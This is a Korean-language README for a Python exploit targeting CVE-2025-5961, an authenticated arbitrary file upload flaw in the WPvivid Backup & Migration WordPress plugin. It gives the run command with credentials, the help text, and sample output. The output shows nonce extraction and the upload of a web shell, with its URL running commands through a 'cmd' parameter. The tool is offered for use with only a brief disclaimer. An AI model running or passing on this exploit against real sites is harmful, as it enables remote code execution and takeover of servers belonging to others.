
마이그레이션, 백업, 스테이징 – WPvivid Backup & Migration <= 0.9.116 - 인증된 (관리자+) 임의 파일 업로드
📈 이 취약점은 700,000개 이상의 설치 수를 가진 플러그인에 영향을 미칩니다
WordPress용 Migration, Backup, Staging – WPvivid Backup & Migration 플러그인은 0.9.116을 포함한 모든 버전에서 wpvivid_upload_import_files 함수의 파일 형식 검증 누락으로 인해 임의 파일 업로드에 취약합니다.
이로 인해 **인증된 공격자(관리자 수준 이상)**가 서버에 임의의 파일을 업로드하여 잠재적으로 원격 코드 실행을 가능하게 합니다.
이 저장소에는 CVE-2025-5961에 대한 익스플로잇 스크립트가 포함되어 있으며, Python으로 작성되었으며 다음을 수행합니다:
python3 CVE-2025-5961.py -u http://target/wordpress -un admin -p password123
$ python3 CVE-2025-5961.py -h
usage: CVE-2025-5961.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-5961 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL
-un, --username USERNAME
Admin username
-p, --password PASSWORD
[+] Checking plugin version...
[+] Detected plugin version: 0.9.116
[+] Target is vulnerable. Continuing exploit.
[+] Logging in to http://target/wordpress...
[+] Logged in successfully.
[+] Fetching WPvivid page to extract nonce...
[+] Extracted nonce: 502d5dce0e
[+] Uploading shell...
[+] Exploit succeeded!
[+] Shell URL: http://target/wordpress/wp-content/wpvividbackups/ImportandExport/shellnxploited.php?cmd=whoami
Exploit By: Khaled Alenazi (Nxploited) - https://github.com/Nxploited/
이 스크립트는 교육 및 연구 목적으로만 제공됩니다.
저자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
Khaled Alenazi (Nxploited)
🌐 GitHub